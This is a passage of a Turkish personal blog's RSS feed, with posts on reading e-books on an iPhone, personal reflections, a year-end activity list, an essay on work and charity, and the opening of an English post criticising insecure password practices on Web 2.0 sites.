  <pubDate>Per, 15 Oca 2009 10:44:48 +0300</pubDate>
  <description>&lt;p&gt;Siteyi &lt;a href="http://ferruh.mavituna.com/tag/kitap/"&gt;takip edenlerin bildiği gibi&lt;/a&gt;
		&lt;a href="http://www.librarything.com/catalog/fm"&gt;kitap okumayı seven biriyim&lt;/a&gt;. Benim için en iyi kitap okuma zamanı seyahattir. Şehir içi, şehirlerarası, ülkeler arası, kısa bir otobüs yolculuğu fark etmez, her şekilde seyahat kitap okumak için güzel bir fırsat demektir. Eğer burada yeni kitaplardan bahsetmiyorsa bunun anlamı seyahat etmiyorum demektir. Yeni bir seyahat hazırlandığımdan iPhone' um ile en verimli kitap okuma yöntemlerini araştırmaya çalıştım.
&lt;/p&gt;&lt;p&gt;Sanırım yıllarca bilgisayar üzerinde doküman okuduğumdan dolayı dijital ortamda kitap okumak bana çok pratik, basit ve hatta kağıt üzerinde bir şey okumaktan daha konforlu geliyor. &lt;a href="http://en.wikipedia.org/wiki/Kindle"&gt;Amazon Kindle&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Pocket_PC"&gt;Pocket PC&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/BlackBerry"&gt;BlackBerry&lt;/a&gt; ve &lt;a href="http://ferruh.mavituna.com/phone-giciklikari-oku/"&gt;iPhone&lt;/a&gt; gibi yüksek çözünürlüklü ekranlara sahip, güçlü işlemcilere sahip küçük cihazların popülerleşmesi ile e-kitap kavramı da daha çok hayatımıza girdi.
&lt;/p&gt;&lt;p&gt;E-kitap için özel formatların yanında iki popüler format var:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Microsoft_Compiled_HTML_Help"&gt;CHM&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;PDF
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;PDF büyük ekranda kesin olarak CHM' den çok daha iyi olsa da CHM' in HTML altyapısı CHM' i küçük cihazlarda kesinlikle seçim nedeni yapıyor. iPhone CHM formatını desteklemiyor, bunu desteklemesi için &lt;a href="http://www.robinlu.com/blog/ichm"&gt;iChm&lt;/a&gt; yazılımını almanız gerekiyor. 10$ civarında bir fiyatı var, yaptıklarını düşününce gayet makul bir ücret. Yalnız sorun şu ki hemen hemen hiçbir yayın firması kitaplarını CHM formatında yayınlamıyor. Bu yüzden sadece &lt;a href="http://msdn.microsoft.com/en-us/magazine/cc159440.aspx"&gt;MSDN Magazine&lt;/a&gt; gibi yayınlar CHM formatında bulabiliyorsunuz.
&lt;/p&gt;&lt;h2&gt;PDF' i iPhone' da Nasıl Okursunuz
&lt;/h2&gt;&lt;p&gt;Eminim ki bazılarınız şunu düşünüyor:
&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Özel bir şey yapmamıza gerek yok, iPhone zaten bunu destekliyor!
&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Doğru ve yanlış. Doğru çünkü iPhone' un kendi içerisinde PDF desteği var, dolayısıyla ekstra bir PDF okuyucu yüklemeniz gerekmiyor ama bu PDF okuyucu "tagged" dokümanları desteklemiyor, ya da ben nasıl destekleyeceğini çözemedim, bu dokümanları desteklese dahi elinizde Adobe Acrobat gibi bir yazılım olmadan dokümanları taglayamazsınız. "tagged" en basit şekilde sabit bir genişliği olmayan, aynı Word ve Txt dosyalarda olduğu gibi "word-wrap" destekleyen PDF dokümanı demek. Eğer 200 px genişlikteki bir ekranda 600px genişliğe göre tasarlanmış bir PDF dokümanını okumaya çalışırsanız ne demek istediğimi anlarsınız.
&lt;/p&gt;&lt;p&gt;Sorun şu ki, iPhone işletim sistemine PDF okuyucu yerleştirmiş ama bu okuyucu küçük ekranlara özgün olarak tasarlanmadığından dokümanlara resim gibi bakmaktan başka işe yaramıyor, ya da PDF özel olarak iPhone için üretilmiş olmalı. Apple zaten işletim sistemine bir PDF okuyucu koyduğundan dolayı kimse 3rd parti bir okuyucu geliştirme gereği duymuyor, dolayısıyla iPhone kullanıcılarının daha uzun süre bu kısıtlı PDF okuyucusuyla yaşamak zorunda olduğunu söyleyebiliriz. &lt;a href="http://www.adobe.com/products/acrobat/readerforppc.html"&gt;Küçük ekranlarda güzel çalışan bir PDF okuyucusu örneği şurada görülebilir.&lt;/a&gt;
	&lt;/p&gt;&lt;p&gt;Bu kadar geyikten sonra hareket zamanı geldi, iki adımda PDF dokümanlarını iPhone' a koyacağız.
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;PDF Dokümanını Word Dokümanına çevir&lt;br/&gt;Bir çok yazılım ve online siteden sonra bu işi en iyi yapan yerin &lt;a href="http://www.pdfonline.com/pdf2word/index.asp"&gt;PDF Online&lt;/a&gt; olduğuna kanaat getirdim. PDF dosyanızı yükleyin, 2-3 dakika içerisinde Word dokümanı olarak indirin. Dosyayı indirdikten sonra MS Office, Open Office vs. gibi bir yazılımla açıp .doc dokümanı olarak tekrar kaydetmeyi unutmayın.&lt;br/&gt;
		&lt;/li&gt;&lt;li&gt;iPhone' a transfer et&lt;br/&gt;iPhone dosya transferi için en pratik program &lt;a href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=294150896&amp;mt=8"&gt;Files Lite&lt;/a&gt;, ücretsiz ve WebDav üzerinden dosya transferi imkanı sağlıyor. Daha sonradan iPhone' un desteklediği formatları ekranda gösterebiliyor. 
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;iPhone' un normal şartlar altında dosya sistemine erişimi yok, bundan ve diğer bir dizi salak kısıtlamadan ( &lt;em&gt;daha doğrusu&lt;/em&gt;
		&lt;a href="http://en.wikipedia.org/wiki/Vendor_lock-in"&gt;&lt;em&gt;lock-in&lt;/em&gt;&lt;/a&gt;) kurtulmak için Quickpwn gibi bir yazılım kullanabilirsiniz. Bundan Cydia ya da Installer üzerinden terminal, OpenSSH ya da benzeri bir yazılım kullanarak dosyalara direk erişebilirsiniz. Ek olarak Windows kullanıcıları &lt;a href="http://code.google.com/p/iphonebrowser/"&gt;iPhone Browser&lt;/a&gt; isimli harika yazılımı da kullanabilir.
&lt;/p&gt;&lt;p&gt;Benim deneyimlerimde 7MB' tan büyük dosyalarda Safari patlıyor ve kendini kapatıyor. Bu tip durumlarda kitabı Word üzerinde 3-5 parçaya ayırabilirsiniz, bu kitapların ekranda yüklenme hızını da yükseltecektir. iPhone' da kitap okumak için diğer bir seçenek PDF' i HTML' e çevirmek olabilir. &lt;a href="http://www.zamzar.com/"&gt;Zamzar&lt;/a&gt; bunu destekliyor ve BookReader yazılımı da pratik bir çözüm sunuyor ama maalesef henüz bunu test etmeye fırsatım olmadı.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Co1vLLi7iyEZujWmA1aItuX8_44/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Co1vLLi7iyEZujWmA1aItuX8_44/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Co1vLLi7iyEZujWmA1aItuX8_44/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Co1vLLi7iyEZujWmA1aItuX8_44/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=nZgnPp9m"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=2nwbLuqt"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ndMeLxBe"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=0ZLVAjdD"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=0ZLVAjdD" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/jBPv9q1eENA" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/iphone-da-ebook-okumak-oku/</guid>
  <comments>http://ferruh.mavituna.com/iphone-da-ebook-okumak-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/iphone-da-ebook-okumak-oku/</feedburner:origLink></item>
<item>
  <title>Durdu ve Yeter Dedi</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/G6n7PKt576s/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 12 Oca 2009 23:33:14 +0300</pubDate>
  <description>&lt;p&gt;Okuduğunuz şeyler daha sık dejavu yapar hale geldiyse, yeni makalelerin başlıklarına bakıp tam olarak neden bahsettiğini tahmin edebiliyorsanız, aynı şeyi yeni metaforlar ile dinlemekten sıkıldıysanız, okumanın, öğrenmenin, daha fazla araştırmanın &lt;strong&gt;vakti geçmiş, harekete geçmenin vakti gelmiştir. &lt;/strong&gt;Altı ay bir yıl sonra belki yeni bir şeyler filizlenmeye başlar o zaman tekrar dönüp, okumaya, öğrenmeye, araştırmaya başlayabiliriz… Sanırım gerçekçi kalmak için ne zaman durmak gerektiğini bilmek lazım.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/nfs6SdKhRiG6wABLuoQedWRyCRY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nfs6SdKhRiG6wABLuoQedWRyCRY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/nfs6SdKhRiG6wABLuoQedWRyCRY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nfs6SdKhRiG6wABLuoQedWRyCRY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=LOToqd4P"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=7WLXQioS"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=yFvhyvMH"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=CjkWjWQD"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=CjkWjWQD" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/G6n7PKt576s" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/durdu-ve-yeter-dedi-oku/</guid>
  <comments>http://ferruh.mavituna.com/durdu-ve-yeter-dedi-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/durdu-ve-yeter-dedi-oku/</feedburner:origLink></item>
<item>
  <title>The Triumph of the Nerds</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/aScCs3qxqKM/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 31 Ara 2008 21:04:59 +0300</pubDate>
  <description>&lt;p&gt;2 kelime, &lt;a href="http://www.imdb.com/title/tt0115398/"&gt;bulun ve izleyin&lt;/a&gt;.
&lt;/p&gt;&lt;p&gt;Eminim hepimiz hikayenin bazı parçalarını biliyoruz, ama izleyince ben bazı eksik parçaları yerine oturttum.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/cGYVppsUGwtKTA1DC1THqWVsskQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cGYVppsUGwtKTA1DC1THqWVsskQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/cGYVppsUGwtKTA1DC1THqWVsskQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cGYVppsUGwtKTA1DC1THqWVsskQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Zcgk59rw"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=wkM9BoNi"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=i6AHC5Kp"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=UhkdVr8A"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=UhkdVr8A" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/aScCs3qxqKM" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/the-triumph-of-the-nerds-oku/</guid>
  <comments>http://ferruh.mavituna.com/the-triumph-of-the-nerds-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/the-triumph-of-the-nerds-oku/</feedburner:origLink></item>
<item>
  <title>Son Zamanlarda</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/KYLaG-MZkT0/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 29 Ara 2008 21:40:15 +0300</pubDate>
  <description>&lt;p&gt;&lt;img align="right" src="http://ferruh.mavituna.com//blogs/upload/122908_1940_SonZamanlar1.jpg" alt=""/&gt;Her ne kadar &lt;a href="http://friendfeed.com/fmavituna"&gt;FriendFeed'&lt;/a&gt; den kısa dalga yayın yapsamda, bazı şeyleri burada tekrar yazmak istedim:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.sqlinjectionwiki.com/Default.aspx"&gt;SQL Injection Wiki&lt;/a&gt; Beta yayınına açtım,
&lt;/li&gt;&lt;li&gt;&lt;a href="http://stackoverflow.com/"&gt;Stackoverflow&lt;/a&gt;' u keşfettim, geliştiriciler için harika bir site. Ek olarak web projeleri geliştirenler içinde inanılmaz bir case study olur,
&lt;/li&gt;&lt;li&gt;IPhone için gelmiş geçmiş en iyi yazılımın &lt;a href="http://www.instapaper.com/u"&gt;InstaPaper&lt;/a&gt; olduğunu anladım,
&lt;/li&gt;&lt;li&gt;&lt;a href="http://news.ycombinator.com/"&gt;Hacker News&lt;/a&gt;' i takip etmeye başladım,
&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.paulgraham.com/articles.html"&gt;Paul Graham' ın tüm yazılarını&lt;/a&gt; okumaya başladım,
&lt;/li&gt;&lt;li&gt;Önümüzdeki ay İstanbul' a gelmenin planlarını tamamladım,
&lt;/li&gt;&lt;li&gt;Kendime yılbaşı hediyesi olarak &lt;a href="http://www.logitech.com/index.cfm/speakers_audio/home_pc_speakers/devices/3549&amp;cl=US,EN"&gt;şunlardan bir tane aldım&lt;/a&gt;, bu sayede dandik Philips 5.1' lerden kurtulmuş olacağım. Philips almamayı öğrendim,
&lt;/li&gt;&lt;li&gt;Zeitgeist ve Zeitgeist Addendum' u izledim, Hem doğru, hem yanlış, yoğun şekilde tek taraflı propogandanın ve eski fikirlerin bilmeyen insanlara cilalanıp tekrar gösterilince viral etkisi yapabildiğini öğrendim. Yargılayarak izlenirse, tavsiye edilir.
&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.imdb.com/title/tt1119644/"&gt;Fringe&lt;/a&gt;' i keşfettim, süper. Doğru dozda bilim-kurgu, ne az, ne fazla. En azından Klington ile ilgili bir olay yok!
&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.gametrailers.com/player/43602.html"&gt;Crash Commando&lt;/a&gt; oynamaya başladım
&lt;/li&gt;&lt;li&gt;Call of Duty 4 ve 5' in nin kesinlike gelmiş geçmiş en gerilim yüklü (&lt;em&gt;"intense"&lt;/em&gt;) multiplayer oyun olduğuna tekrar kanaat getirdim,
&lt;/li&gt;&lt;li&gt;"&lt;em&gt;Yerli malı yurdun malı, herkes onu kullanmalı zihniyetinin&lt;/em&gt;" ne kadar yavanca anlaşıldığını ve uygulandığını tekrar, tekrar ve tekrar keşfedip, sadece Sakaryalı hemşehrilerimden hosting hizmeti almaya karar verdim(!) İnsanlara bu zihniyetin hiç bir şeye yardım etmediğini hatta sektöre zarar verdiğini anlatmaya üşendim, "koy arka tarafına, gitsin" edası takındım.
&lt;/li&gt;&lt;li&gt;""Nerd" telefonu telefon hakkında konuşmak için kullanan kişiye" denir gibi acayip bir laf duydum, kendi kendime güldüm. Kendi kendime gülünce kendimi biraz a-sosyal hissettim, kendime bir social-bunny ısmarlayıp, b-sosyal konuma geçirdim.&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/MJVbtKygQeKpFBqh50Llb_sxGBE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MJVbtKygQeKpFBqh50Llb_sxGBE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/MJVbtKygQeKpFBqh50Llb_sxGBE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MJVbtKygQeKpFBqh50Llb_sxGBE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=LV31dz09"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=wIymTLrI"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=DWdDKNEk"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=yWtCbq6S"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=yWtCbq6S" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/KYLaG-MZkT0" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/son-zamanlarda-oku/</guid>
  <comments>http://ferruh.mavituna.com/son-zamanlarda-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/son-zamanlarda-oku/</feedburner:origLink></item>
<item>
  <title>Köle Olmayı Seçmek</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/N09jFTJaztc/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 29 Ara 2008 21:20:33 +0300</pubDate>
  <description>&lt;p&gt;&lt;em&gt;Bu yazı arada yazdığım gibi giriş – gelişme – sonuç kavramlarından uzak, daha çok bazı duyguları düşünceleri tetiklemeye eğimli bir yazıdır. Ek olarak yazı genel bir konu üzerinde dolaşmayı bile becerememekte. Dolayısıyla diğer bir kendi halinde yazı olarak Kabul edilebilir...
&lt;/em&gt;&lt;/p&gt;&lt;p&gt;İnsanoğlu kendi elleriyle hayatı o kadar komplike bir hale getirdi ki bu dünyada hayatta kalabilmesi için artık &lt;a href="https://ferruh.mavituna.com/sentenced-to-years-of-school-oku/" title="15 sene eğitim alması gerekiyor"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;15 sene eğitim alması gerekir hale geldi&lt;/span&gt;&lt;/a&gt;. Yaşayabilmesi için hayatının &lt;a href="https://ferruh.mavituna.com/hayatinizin-25-i-sizin-gerisi-yalan-oku/" title="%75' ini çalışarak geçirmek zorunda kaldı"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;%75' ini çalışarak geçirmek zorunda kaldı&lt;/span&gt;&lt;/a&gt;. Küçüklükten başlayarak bu durumu o kadar güzel bir şekilde yeni beyinlere empoze etti ki, kişiler kendilerinin köleliğini savunur hale geldi. Para, dünya, şan, şöhret için çalışmak önemli, değerli hatta saygı duyulacak bir iş gibi gösterildi. Daha sonra öyle bir noktaya geldi ki artık herkes bunlar konusunda hem fikir olmaya başladı. &lt;br/&gt;&lt;br/&gt;Bir insan şunu söyleyebilir hale geldi:
&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Eğer zengin olsaydım da bu şekilde çalışırdım
&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Eğer siz de haftanın 5-6 gününü geri kalan 1-2 gününü yaşayabilmek için harcadığını hazmedeyenlerdenseniz, neden bahsettiğimizi anlıyorsunuz demektir. &lt;strong&gt;Çalışmak için çalışan&lt;/strong&gt; insanların olduğu bir toplumda yaşar olduk, artık bizi köle yapmıyorlar biz kendimiz "özgür" irademiz ile &lt;strong&gt;köle olmayı seçiyoruz&lt;/strong&gt;. &lt;strong&gt;Kendimizi kendimizden azad edebilecek miyiz?&lt;br/&gt;&lt;/strong&gt;&lt;br/&gt;Herkese yetecek bir dünyayı paylaşamıyoruz, 1500 somalilinin öldüğü bir operasyonda 18 amerikan askeri için film çekiyoruz (&lt;em&gt;çünkü 1 yankee = 100 somalili değerinde!&lt;/em&gt;), neyi neden yaptığımızı bilmiyoruz, nereye gideceğimizi düşünmüyoruz. Bir kaç gün önce dünyayı değiştirecek fikirleri düşünüyordum, "Her iyilik yapılan kişi üç kişiye iyilik yapsa", "&lt;a href="http://www.thevenusproject.com/" title="The Venus Project"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;The Venus Project&lt;/span&gt;&lt;/a&gt;" vs. 
&lt;/p&gt;&lt;p&gt;Sanırım "&lt;strong&gt;Bill Gates' i müslüman yapmak&lt;/strong&gt;" listenin başına konulabilir. Bunun anlamı dünyanın en zengin adamlarından birinin Zekat ödeyeceği yani her sene elindeki tüm değerlerin 40/1 ini fakirlere dağıtacağı anlamına geliyor. Belki sadece Bill Gates' i müslüman yapmak tek başına dünyadaki açlığı çözmeyecektir, ama ütopik bir şekilde tüm dünyanın zekat verdiğini düşünün. Bu ütopik dünyada fakirlik diye bir sorun olmayacaktı. &lt;br/&gt;&lt;br/&gt;Bugünün global dünyasında yaşayan insanlar olarak her saniye suçluluk duygusu içerisinde olmamak mümkün olabilir mi? Benim doğduğum yer ondan daha iyi, o daha doğarken kaybediyor. Ben komşumdan daha çok kazanıyorum, benim şansım yaver gitti, kolum ve bacağım var, görebiliyorum ve konuşabiliyorum. Oradan insanlar savaşta ölürken ben MSN' de arkadaşlarımla muhabbet edip blogumda züppelik yapıyorum, suçluluk duygusu içerisinde olmamak mümkün mü?&lt;br/&gt;&lt;br/&gt;Sanırım bunun tek çözümü &lt;a href="http://www.sorularlaislamiyet.com/subpage.php?s=article&amp;aid=2837" title="İlahi Adalet"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;İlahi Adalet&lt;/span&gt;&lt;/a&gt;' e inanmak, bilmek değil idrak etmek. Hiç bir şeyin kimsenin yanın kalmayacağını ve kimsenin sınavının başka biri ile aynı olmadığını anlamak. &lt;br/&gt;&lt;br/&gt;&lt;em&gt;Şimdi hepinize Happy Xmas, Hannukah&lt;/em&gt;
		&lt;em&gt;ve new year... &lt;br/&gt;&lt;br/&gt;&lt;/em&gt;* &lt;a href="http://www.thevenusproject.com/" title="The Venus Project"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;&lt;em&gt;The Venus Project&lt;/em&gt;&lt;/span&gt;&lt;/a&gt;&lt;em&gt; ve Zeitgeist Addendum -çok tek taraflı bir film, izlerken yargınızı kaybetmemeye çalışın- bunu tetikledi&lt;/em&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/aYaaVrpr9Wo1zxFwlZaOQXEo9gw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aYaaVrpr9Wo1zxFwlZaOQXEo9gw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/aYaaVrpr9Wo1zxFwlZaOQXEo9gw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aYaaVrpr9Wo1zxFwlZaOQXEo9gw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=XPzjOBnK"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ktQJmbkn"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=2hk5s7Ua"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=hEV3FUBs"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=hEV3FUBs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/N09jFTJaztc" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/kle-olmayi-secmek-oku/</guid>
  <comments>http://ferruh.mavituna.com/kle-olmayi-secmek-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/kle-olmayi-secmek-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> Insecure Trends in Web 2.0</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/DljFrjYiSSU/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 26 Ara 2008 16:00:22 +0300</pubDate>
  <description>&lt;p&gt; We are living the second dot-com craziness, although this time it doesn't look like a bubble, it works just fine and every month a new Web 2.0 application acquired for millions. 
&lt;/p&gt;&lt;p&gt;Couple of popular web trends appeared and revived in Web 2.0 applications:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Usability 
&lt;/li&gt;&lt;li&gt;Simplicity 
&lt;/li&gt;&lt;li&gt;Sociability 
&lt;/li&gt;&lt;li&gt;Integration 
&lt;/li&gt;&lt;li&gt;Outsourcing
&lt;/li&gt;&lt;li&gt;Cutting Edge Technology
&lt;/li&gt;&lt;li&gt;Trust
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;All sounds good but also they came with their sins. And their disease of being insecure just spreads.... New start-ups and all kind of Web 2.0 entrepreneurs following previously "worked" insecure practices for the sake usability, simplicity, sociability and money.
&lt;/p&gt;&lt;p&gt;
 &lt;/p&gt;&lt;h2&gt;Usability &amp; Simplicity
&lt;/h2&gt;&lt;p&gt;Usability is really important, everything should be so easy in Web 2.0 applications, such as:
&lt;/p&gt;&lt;p&gt;
 &lt;/p&gt;&lt;h3&gt;Change password functionality
&lt;/h3&gt;&lt;p&gt;Why bother with requesting user's current password before changing their password, they've already logged in, right(!). Impact of this is quite obvious. Permanent account hijacking in shared computers or result of an XSS attack. &lt;br/&gt;&lt;br/&gt;&lt;strong&gt;Guilty:&lt;/strong&gt;  twitter &lt;br/&gt;&lt;img src="http://ferruh.mavituna.com//blogs/upload/122608_1400_InsecureTre1.gif" alt=""/&gt;
	&lt;/p&gt;&lt;h3&gt;Give me your Hotmail password so I can get your contact list 
&lt;/h3&gt;&lt;p&gt;Since when giving your e-mail password to a website is OK? Thanks to social websites now it's a common thing to give away your e-mail passwords to other websites. &lt;span style="font-size:12pt"&gt;What's next, &lt;/span&gt;giving away your online banking password&lt;span style="font-size:12pt"&gt;?&lt;/span&gt; (Didn't I tell you? &lt;a href="http://www.mint.com/"&gt;&lt;em&gt;Mint already did that!&lt;/em&gt;&lt;/a&gt;) &lt;span style="font-size:12pt"&gt;&lt;br/&gt;&lt;/span&gt;&lt;br/&gt;&lt;strong&gt;Guilty:&lt;/strong&gt; Bebo, Facebook, Diigo, LinkedIn, slideshare and every single social Web 2.0 application out there &lt;br/&gt;
	&lt;/p&gt;&lt;p&gt;&lt;img src="http://ferruh.mavituna.com//blogs/upload/122608_1400_InsecureTre2.png" alt=""/&gt;
	&lt;/p&gt;&lt;p&gt;
 &lt;/p&gt;&lt;h3&gt;SSL 
